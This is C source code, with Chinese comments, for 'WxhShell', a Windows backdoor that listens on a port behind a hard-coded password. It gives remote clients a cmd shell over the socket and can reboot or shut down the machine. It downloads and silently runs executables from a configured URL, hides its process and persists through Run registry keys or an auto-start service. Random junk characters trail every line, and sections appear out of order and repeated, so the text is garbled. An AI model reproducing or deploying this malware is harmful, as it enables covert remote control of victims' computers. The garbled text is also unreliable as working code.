    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VOsqJJ3  
    if(Boot(SHUTDOWN)) B^D(5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^KB~*'DN~s  
    else { P6,7]6bp  
    closesocket(wsh); j]0^y}5f+s  
    ExitThread(0); -G,^1AL>  
    } [Pe#kzLX  
    break; $(Ugtimdv  
    } qNyzU@  
  // 获取shell /WPv\L  
  case 's': { mW%?>Z1=>d  
    CmdShell(wsh); 2wqk,c[]  
    closesocket(wsh); 8vk..!7n}  
    ExitThread(0); ,7,g%?_P  
    break; Mz I q"3  
  } e4OeoQ@ >  
  // 退出 97!>%d[0  
  case 'x': { z'p:gv]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x]5@>5  
    CloseIt(wsh); ]\RRqLDzkg  
    break; FZiW|G  
    } A|}l)!%  
  // 离开 '2zL.:~  
  case 'q': { x( mE<UQN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *]JdHO  
    closesocket(wsh); 7t9c7HLuj/  
    WSACleanup(); gqib:q ;r  
    exit(1); W\f9jfD  
    break; avp; *G }  
        } dMx4ykrR  
  } 4;`Bj:.  
  } j\RpO'+}  
Pag63njg?  
  // 提示信息 a'\By?V]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ')S;[=v  
} vhr+g 'tf  
  } }G$]LWgQx  
Kt>X3m,  
  return; 9@ $,oM=  
} =G~~?>=@2  
bshGS8O  
// shell模块句柄 weMww,:^[  
int CmdShell(SOCKET sock) ?j7vZ}iRi  
{ Rd+P,PO  
STARTUPINFO si; +a= 0\lpOy  
ZeroMemory(&si,sizeof(si)); #n\C |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rg(lCL&:S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uh.Zi3X6}6  
PROCESS_INFORMATION ProcessInfo; !k$}Kj)I  
char cmdline[]="cmd"; vtJV"h?e"3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N12:{U  
  return 0; bt+,0\Vg5  
} _ nT{g  
3-40'$lE  
// 自身启动模式 +w| 9x.&W  
int StartFromService(void) V's:>;  
{ XC15K@K  
typedef struct FDFH,J`_  
{ RaSz>-3d  
  DWORD ExitStatus; e2$]g>  
  DWORD PebBaseAddress; .V6-(d  
  DWORD AffinityMask; E& 36H  
  DWORD BasePriority; A CNfS9M_w  
  ULONG UniqueProcessId; 2=PBxDs;  
  ULONG InheritedFromUniqueProcessId; ghk5rl$   
}   PROCESS_BASIC_INFORMATION; e`{0d{Nd  
| P6EO22p  
PROCNTQSIP NtQueryInformationProcess; I.}1JJF*   
_baYn`tFw-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s_jBu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4aZCFdc  
c(- Mc6  
  HANDLE             hProcess; xSpC'"   
  PROCESS_BASIC_INFORMATION pbi; k7_I$ <YDj  
|c-LSs'\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oi:JiD=  
  if(NULL == hInst ) return 0; cTZ)"^z!  
b'>8ZIY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;i#LIHJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \9)[ #Ld  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mj0Cat=  
p}]q d4j  
  if (!NtQueryInformationProcess) return 0; >',y  
;kaHN;4?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7x.%hRk  
  if(!hProcess) return 0; U2*6}c<  
o 6j"OZcv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &J"YsY  
TW`mxj_J2  
  CloseHandle(hProcess); mp `PE=  
67<CbQZoN3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g"t^r3  
if(hProcess==NULL) return 0; t \5c@j p  
 0V11#   
HMODULE hMod; ?)A2Kw>2  
char procName[255]; rFag@Z"["  
unsigned long cbNeeded; ui.'^F<  
}F{=#Kqn^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \3NS>v[1  
M1=_^f=&.  
  CloseHandle(hProcess); Md(JIlh3  
q&M:17+:Q  
if(strstr(procName,"services")) return 1; // 以服务启动 K_-MkY?+  
+802`eax  
  return 0; // 注册表启动 iV)ac\  
} UC9{m252  
!y vJpdsof  
// 主模块 p?myuNd[  
int StartWxhshell(LPSTR lpCmdLine) q@Kk\m  
{ @[r={s\  
  SOCKET wsl; 7u%a/<  
BOOL val=TRUE; IlHY%8F{  
  int port=0; kJ8vKcc  
  struct sockaddr_in door; yuNfhK/#r  
0M!0JJy#*  
  if(wscfg.ws_autoins) Install(); OAok  
PKtU:Eg  
port=atoi(lpCmdLine); Z*bC#s?  
me./o(!?  
if(port<=0) port=wscfg.ws_port; 2,AaP*,  
D3?N<9g  
  WSADATA data; Qyj(L[KJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M'u=H  
9y+[o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $Xt;A&l2?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nUqy1(  
  door.sin_family = AF_INET; UD*+"~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }'`xu9<  
  door.sin_port = htons(port); Qq0O0U  
aF])"9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p37|zX  
closesocket(wsl); b7'F|h^  
return 1; uYTCdZQh  
} ??I:H  
px [~=$F  
  if(listen(wsl,2) == INVALID_SOCKET) { 4$i}Xk#3  
closesocket(wsl); $I(}r3r  
return 1; VCf|`V~G  
} {&`VGXG  
  Wxhshell(wsl); e`ex]py<C  
  WSACleanup(); $nFAu}%C  
T&4fBMBp,%  
return 0; P CsK()  
v$JLDt_  
} #ko6L3Pi  
' fl(N2t  
// 以NT服务方式启动 /#IH -2N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kd`YSkZ  
{ V g6S/-  
DWORD   status = 0; @WJf)  
  DWORD   specificError = 0xfffffff; ER2V*,n@  
LT& /0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Cg*kN"8q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l]u7.~b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  h.D^1  
  serviceStatus.dwWin32ExitCode     = 0; 5C65v:Q`N  
  serviceStatus.dwServiceSpecificExitCode = 0; C,3T!\  
  serviceStatus.dwCheckPoint       = 0; |DGCdB|`G  
  serviceStatus.dwWaitHint       = 0; "Y(%oJS]D  
?M]u$Te/.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uk|9@Auav  
  if (hServiceStatusHandle==0) return; Y}ky/?q  
-rRz@Cr  
status = GetLastError(); klo^K9!  
  if (status!=NO_ERROR) 3m~U(yho  
{ XC2Q*Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H<{*ub4'L*  
    serviceStatus.dwCheckPoint       = 0; >["Kd.ye  
    serviceStatus.dwWaitHint       = 0; @NBXyC8,Z  
    serviceStatus.dwWin32ExitCode     = status; #e*$2+`[A  
    serviceStatus.dwServiceSpecificExitCode = specificError; zM)M_L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ![j(o!6&  
    return; " _mmR M  
  }  @}Pw0vC  
P0Aas)!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JfR kp  
  serviceStatus.dwCheckPoint       = 0; zEAx:6`c  
  serviceStatus.dwWaitHint       = 0; gMCy$+?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cx<h_  
} jw/ wcP  
[10$a(g\x  
// 处理NT服务事件,比如:启动、停止 x vHOY:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `yy%<&  
{  -\5[Nq{N  
switch(fdwControl) YALyZ.d  
{ *?s/Ho &'  
case SERVICE_CONTROL_STOP: Xk;Uk[  
  serviceStatus.dwWin32ExitCode = 0; |aOnV,}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D/!eov4"  
  serviceStatus.dwCheckPoint   = 0; :`Zl\!]E`o  
  serviceStatus.dwWaitHint     = 0; >m;|I/2@  
  { =E6i1x%j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rm[rQ }:  
  } u6bB5(s`&  
  return; fDm}J  
case SERVICE_CONTROL_PAUSE: Fm[?@Z&wP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]mJAKycE%  
  break; @]VvqCk  
case SERVICE_CONTROL_CONTINUE: 0F;(_2V-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?XTg%U  
  break; g^<q L|  
case SERVICE_CONTROL_INTERROGATE: "#eNFCo7k  
  break; ,{mf+ 3&$,  
}; gp|7{}Q{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~:RDw<PWp  
} RGPU~L  
#9W5  
// 标准应用程序主函数 n9-q5X^e>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x x`8>2T#e  
{ GWkJ/EX  
iR}i42Cu  
// 获取操作系统版本 $0`$)(Y  
OsIsNt=GetOsVer(); w\8r h\Mvh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?D$b%G{  
J/P@m_Yx  
  // 从命令行安装 U*+!w@ .  
  if(strpbrk(lpCmdLine,"iI")) Install(); K&a]pL6D  
O'sr[  
  // 下载执行文件 !+26a*P  
if(wscfg.ws_downexe) { .1?i'8TF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '>WuukC  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]2s Zu7  
} XGup,7e9  
LXEu^F~{u#  
if(!OsIsNt) { $^+KR]\q  
// 如果时win9x,隐藏进程并且设置为注册表启动 a!J ow?(  
HideProc(); q ]R @:a/  
StartWxhshell(lpCmdLine); hu*>B  
} n~>CE"q  
else uc(yos  
  if(StartFromService()) ZtK%b+MBP  
  // 以服务方式启动  IOES3  
  StartServiceCtrlDispatcher(DispatchTable); tS/APSY  
else 'N,NG$G2  
  // 普通方式启动 hw.demD  
  StartWxhshell(lpCmdLine); 1X_!%Z  
O}iKPY8K  
return 0; 2dJ)4  
} SVEA  
-bb7Y  
&\D<n; 3  
N*)8L[7_;  
=========================================== >U Ich  
O09g b[  
i2R]lE8  
?;7>`F6ld  
[-94=|S @  
K dQ|$t  
" dE!=a|Pl  
T`0gtSS  
#include <stdio.h> ]qG5 Ne _  
#include <string.h> n~cm?"  
#include <windows.h> l8Iy 03H  
#include <winsock2.h> 7(iRz  
#include <winsvc.h> hQLx"R$  
#include <urlmon.h> f6A['<%o  
jl%e O.  
#pragma comment (lib, "Ws2_32.lib") 1UWgOCc  
#pragma comment (lib, "urlmon.lib") EC\:uK  
gK_[3FiKt  
#define MAX_USER   100 // 最大客户端连接数 b6M)qt9R  
#define BUF_SOCK   200 // sock buffer mztq7[&-  
#define KEY_BUFF   255 // 输入 buffer 3\~fe/z'I  
3T^dgWXEG  
#define REBOOT     0   // 重启 >N"PLSY1  
#define SHUTDOWN   1   // 关机 BQmafpp`  
pY5HW2TsY|  
#define DEF_PORT   5000 // 监听端口 HSFf&|qqx  
gG>^h1_o~  
#define REG_LEN     16   // 注册表键长度 ?PtRb:RHt  
#define SVC_LEN     80   // NT服务名长度 -^yc yZ  
1ORi]`  
// 从dll定义API Q"_T040B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tl#s:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6y!?xot  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X(q=,^Mp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~a,'  
]*Ki7h |B  
// wxhshell配置信息 1M FpuPJk  
struct WSCFG { | (9FV^_  
  int ws_port;         // 监听端口 l'8wPmy%N  
  char ws_passstr[REG_LEN]; // 口令 #mxfU>vQ:  
  int ws_autoins;       // 安装标记, 1=yes 0=no F09AX'nj  
  char ws_regname[REG_LEN]; // 注册表键名 RLX^'g+P  
  char ws_svcname[REG_LEN]; // 服务名 ;XuE Mq,Di  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n,LKkOG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]KT,s].  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [:'?}p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \`5u@Nzx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,B>b9,~3a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 euC,]n.  
ee[NZz  
}; Pt;Ahmi  
RIx6& 7$  
// default Wxhshell configuration iFchD\E*o  
struct WSCFG wscfg={DEF_PORT, UHHKI)(  
    "xuhuanlingzhe", .[ s82c]]6  
    1, Tz~ ftf  
    "Wxhshell", +>({pHZ<S  
    "Wxhshell", |.W;vc<  
            "WxhShell Service", l[{}ZKZ  
    "Wrsky Windows CmdShell Service", bncFrzp#o  
    "Please Input Your Password: ", ="E V@H?U  
  1, (ZsR=:9(  
  "http://www.wrsky.com/wxhshell.exe", HKw4}FC*  
  "Wxhshell.exe" a$& 6a   
    }; o:*iT =l  
ixpG[8s  
// 消息定义模块 mSeN M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DMW:%h{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (fb\A6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lwk-  
char *msg_ws_ext="\n\rExit."; W4Q]<<6&  
char *msg_ws_end="\n\rQuit."; ogbdt1  
char *msg_ws_boot="\n\rReboot..."; =_3qUcOP  
char *msg_ws_poff="\n\rShutdown..."; vH8%a8V  
char *msg_ws_down="\n\rSave to "; ]iX$p~riH  
Rj= Om  
char *msg_ws_err="\n\rErr!"; DlO;EH  
char *msg_ws_ok="\n\rOK!"; (LPD  
S`.-D+.68  
char ExeFile[MAX_PATH]; F\72^,0  
int nUser = 0;  I ^92b  
HANDLE handles[MAX_USER]; F'*4:WD7  
int OsIsNt; - mXr6R?  
{m GWMv  
SERVICE_STATUS       serviceStatus; n/D]r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _.LWc^Sg  
x*)O<K  
// 函数声明 @U5>w\  
int Install(void); NDG Bvb  
int Uninstall(void); )Cfrqe1^  
int DownloadFile(char *sURL, SOCKET wsh); +2O_LPV$,  
int Boot(int flag); 4N: ;Mo&B  
void HideProc(void); 6>J #M  
int GetOsVer(void); 1^dWmxUZH  
int Wxhshell(SOCKET wsl); eQj/)@B:V  
void TalkWithClient(void *cs); F tjm@:X  
int CmdShell(SOCKET sock); j]SkBZgik  
int StartFromService(void); ?yK\L-ad  
int StartWxhshell(LPSTR lpCmdLine); %Ski5q  
H:6$) #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0k [6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nsk 6a  
R0'EoX  
// 数据结构和表定义 ?>&Zm$5V  
SERVICE_TABLE_ENTRY DispatchTable[] = s6uAF(4,  
{ Cn '=_1p  
{wscfg.ws_svcname, NTServiceMain}, U7?ez  
{NULL, NULL} pXa? Q@ 6  
}; N3) v,S-  
~G:7*:[b  
// 自我安装 cw{[B%vw  
int Install(void) Y?cw9uYB  
{ | &vuK9q  
  char svExeFile[MAX_PATH]; o5R40["  
  HKEY key; U)8]pUI+/P  
  strcpy(svExeFile,ExeFile); O1,[7F.4g  
37Y]sJrs$  
// 如果是win9x系统,修改注册表设为自启动 |e >-v  
if(!OsIsNt) { pM3BBF%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =oJiNM5_u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X3yr6J[ ^  
  RegCloseKey(key); gG>>ynn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AF6'JxG7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ba13^;fm#  
  RegCloseKey(key); H=C;g)R  
  return 0; P+h&tXZn8  
    } 67?5Cv  
  } G]CY3xw98  
} H;1}Nvvd  
else { ;\N*iN#K  
$EF@x}h:A  
// 如果是NT以上系统,安装为系统服务 d .A0(*k,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $}fA;BP  
if (schSCManager!=0) Q #gHD  
{ {,=,0NQKn  
  SC_HANDLE schService = CreateService E12k1gC`  
  ( KJ_R@,v\  
  schSCManager, oV`sCr5%  
  wscfg.ws_svcname,  \Z':hw  
  wscfg.ws_svcdisp, \ 714Pyy  
  SERVICE_ALL_ACCESS, *b EsWeP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pyKag;ZtP  
  SERVICE_AUTO_START, ,e2va7}3  
  SERVICE_ERROR_NORMAL, ,H*3_c&Q  
  svExeFile, #ZA YP  
  NULL, 30@ GFaab  
  NULL, ^ dqEOW  
  NULL, 7_,gAE:kG  
  NULL, .E&~]<  
  NULL  s25012  
  ); SCij5il%  
  if (schService!=0) 2B7&Ll\>  
  { )Yml'?V"  
  CloseServiceHandle(schService); ?}[keSEh>  
  CloseServiceHandle(schSCManager); Cmj)CJ-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q@:&^CS  
  strcat(svExeFile,wscfg.ws_svcname); LxT] -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YVT^}7#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DZue.or  
  RegCloseKey(key); s><co]  
  return 0; i7FEjjGtG  
    } :z\STXq  
  } \+xsJbEV  
  CloseServiceHandle(schSCManager); 4"sP= C  
} c'b,=SM  
} ~"k'T9QBY  
D6w0Y:A{.  
return 1; 7nmo p7  
} z( wXs&z;  
{/ta1&xyG  
// 自我卸载 '' 6  
int Uninstall(void) 4rm/+Zes  
{ cu-WY8n  
  HKEY key; Ty=}A MMyE  
kbY@Y,:w  
if(!OsIsNt) { gA6C(##0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 S 1m&s5k  
  RegDeleteValue(key,wscfg.ws_regname); }1V&(#H2  
  RegCloseKey(key); |($pXVLH`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uT1x\Rt|e  
  RegDeleteValue(key,wscfg.ws_regname); wrbDbp1L  
  RegCloseKey(key); (rJvE*  
  return 0; Gkl#s7'  
  } Ot?rsr  
} fOVRtSls  
} z?PF9QL1  
else { B !XT:.+  
}49?Z3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uyj5}F+O  
if (schSCManager!=0) ;c`B '  
{ `d8TA#|`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /y}  
  if (schService!=0) V+^\SiM  
  { g=)@yZ3>v  
  if(DeleteService(schService)!=0) { ;bX{7j  
  CloseServiceHandle(schService); .qZ<ROZ  
  CloseServiceHandle(schSCManager); b|NEU-oy  
  return 0; Y3[@(  
  } + '`RJ,K+[  
  CloseServiceHandle(schService); 5GKz@as8  
  } 9g7T~|P  
  CloseServiceHandle(schSCManager); %^S1 fUwT  
} zSu2B6YU}  
} Xy._&&pt  
J8jbtL O'  
return 1; g0l- n  
} 9;PtY dJ8  
x RfX:3  
// 从指定url下载文件 PF.HYtZqK  
int DownloadFile(char *sURL, SOCKET wsh) "ggq7cJ}_  
{ V|7 c dX#H  
  HRESULT hr; yxH[uJpb  
char seps[]= "/"; mU!c;O  
char *token; FQ5# v{  
char *file; %]-tA,u  
char myURL[MAX_PATH]; t?\osPL  
char myFILE[MAX_PATH]; {S?.bT%&  
W+QI D/  
strcpy(myURL,sURL); DD1S]m  
  token=strtok(myURL,seps); i[B%:q:&  
  while(token!=NULL) % :NI@59  
  { !59q@M ya[  
    file=token; ZR1EtvVG  
  token=strtok(NULL,seps); 6Pz\6DU,I  
  } d$!ibL#o  
y=t -/*K  
GetCurrentDirectory(MAX_PATH,myFILE); mwt3EV5  
strcat(myFILE, "\\"); FGC[yz1g:  
strcat(myFILE, file); Ae"B]Cxb_X  
  send(wsh,myFILE,strlen(myFILE),0); ]]+"`t,-  
send(wsh,"...",3,0); O?@AnkOhn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s^cHR1^  
  if(hr==S_OK) [8ih-k  
return 0; o.,hCg)X  
else 8O]$)E  
return 1; |q?A8@\u  
^W^%PJ D |  
} [|vd r.  
b<%6aRC\  
// 系统电源模块 #}.db?[Rv  
int Boot(int flag) dP82bk/e  
{ C[75 !F   
  HANDLE hToken; 1'ZBtX~A  
  TOKEN_PRIVILEGES tkp; &a V`u?'e  
TV}H  
  if(OsIsNt) { bFcI\Q{4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8{AzB8xp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a$ Z06j  
    tkp.PrivilegeCount = 1; RJ`F2b sYN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -0Ps. B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '2eggX%  
if(flag==REBOOT) { [l0>pHl@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OmsNo0OA  
  return 0; YtFtU;{  
} % _N-:.S  
else { JMXCyDy;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wa wOap  
  return 0; Ls( &.  
} H d :2  
  } d%iMjY`~[g  
  else { gF&1e5`i  
if(flag==REBOOT) { Zf ;U=]R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GujmBb  
  return 0; 'Je;3"@  
} BPW2WSm@<  
else { U2;_{n*g%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WmeV[iI  
  return 0; Pwf":U)  
} 3qP! (*  
} nBR4j?':i  
yN9/'c~  
return 1; Mp}U>+8  
} up1kg>i%"  
t\ ym4`"  
// win9x进程隐藏模块 s~3"*,3@  
void HideProc(void) {>9vm!<[*\  
{ `2G 0B@  
^)TZHc2a[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D KR2b`J  
  if ( hKernel != NULL ) Y f1?3 (0O  
  { >o.4sN@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5LR k)@t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); umI@ej+D  
    FreeLibrary(hKernel); y-9Mm9J  
  } 12.|Ed*72  
U`z=!KI+g  
return; n&Bgpt~  
} /C}u,dBf  
%AaZc=a[c  
// 获取操作系统版本 fC&hi6  
int GetOsVer(void) vkp_v1F%+  
{ :wtK'ld  
  OSVERSIONINFO winfo; rytves%;C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ';Y0qitGB  
  GetVersionEx(&winfo); Ko: <@h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !Wgi[VB  
  return 1; !ap}+_IA7^  
  else Ejmpg_kux  
  return 0; ]De<'x}  
} XkDIP4v%  
I|(r1.[K  
// 客户端句柄模块 "\3C)Nz?  
int Wxhshell(SOCKET wsl) ~m3Q^ue  
{ yhc}*BMZ  
  SOCKET wsh; &sJ-&7YZ  
  struct sockaddr_in client; \8g'v@$wG  
  DWORD myID; VX0}x+LJ  
L xP%o  
  while(nUser<MAX_USER) Y'*oW+K  
{ &.F ]-1RN[  
  int nSize=sizeof(client); f}=>c|Do  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H}?"2jF  
  if(wsh==INVALID_SOCKET) return 1; id+ ~ V  
?k@^U9?R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ir#]p9:x  
if(handles[nUser]==0) [>![ViX  
  closesocket(wsh); lha)4d  
else #x*\dL  
  nUser++; ~bf4_5  
  } H%pD9'q~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2{|Z?3FJ^  
SMo nJ;Y  
  return 0; i]9C"Kw$L  
} {^8?fJ/L  
w{mw?0  
// 关闭 socket xu\s2x$  
void CloseIt(SOCKET wsh) w$iQ,--  
{ R#HVrzOO|T  
closesocket(wsh); ^p)#;$6b  
nUser--; 8wV`mdKN  
ExitThread(0); FRa>cf4  
} B`|f"+.  
|P@N}P@  
// 客户端请求句柄 ,R. rxoO  
void TalkWithClient(void *cs) gu|=uW K  
{ Wn2'uZ5If  
BMug7xl"  
  SOCKET wsh=(SOCKET)cs; w p\-LO~  
  char pwd[SVC_LEN]; Q p7h|<  
  char cmd[KEY_BUFF]; 1J([*)  
char chr[1]; ?8N^jjG  
int i,j; Qo32oT[DM  
,BUrZA2\U$  
  while (nUser < MAX_USER) { 1oe,>\\  
>dx/k)~~-L  
if(wscfg.ws_passstr) { `*6|2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;H-HpBaa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kM J}sS  
  //ZeroMemory(pwd,KEY_BUFF); $GP66Ev  
      i=0; 60;_^v  
  while(i<SVC_LEN) { eSQkW  
}ZK%@b>  
  // 设置超时 ,~q:rh+  
  fd_set FdRead; eR%\_;}7;  
  struct timeval TimeOut; Qk? WX (`B  
  FD_ZERO(&FdRead); 4C/G &w&  
  FD_SET(wsh,&FdRead); d a<>a  
  TimeOut.tv_sec=8; u@1 2:U$  
  TimeOut.tv_usec=0; 9 ,:#Q<UM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k@ <dru  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HjIIhl?UY  
vJxE F&X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w? >f:2(=[  
  pwd=chr[0]; ~| b\1SR  
  if(chr[0]==0xd || chr[0]==0xa) { C$q};7b1N  
  pwd=0; 3~{I/ft  
  break; 2xf #@`U  
  } ? a#Gn2  
  i++; _V 4O#;%?  
    } !KMl'kswe:  
9}%$j  
  // 如果是非法用户,关闭 socket Q,:{(R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tL3R<'  
} E*O($tS  
`6)(Fk--"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )X-'Q-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8t Q;N'  
XwUa|"X6  
while(1) { ?r KbL^2  
10fxK  
  ZeroMemory(cmd,KEY_BUFF); d7Vp^^}(  
U$mDAi$  
      // 自动支持客户端 telnet标准   hw,nA2w\  
  j=0; Vm|KL3}NRv  
  while(j<KEY_BUFF) { G<M0KU (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hs[x\:})/  
  cmd[j]=chr[0]; -nXP<v=V  
  if(chr[0]==0xa || chr[0]==0xd) { (P`=9+  
  cmd[j]=0; :h5G|^  
  break; $m;`O_-T  
  } y{/7z}d  
  j++; 0KnL{Cj   
    } M^[;{p2uZ  
_tJt eDRY  
  // 下载文件 ]L97k(:Ib  
  if(strstr(cmd,"http://")) { hH 5}%/vF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TKM^  
  if(DownloadFile(cmd,wsh)) 4^uSW&`;/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E{EO9EI  
  else KJRAW]?{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & ?xR  
  } A+="0{P  
  else { "Yh;3tI4*  
GQ;0KIN  
    switch(cmd[0]) { n1J u =C  
  kh9'W<tE  
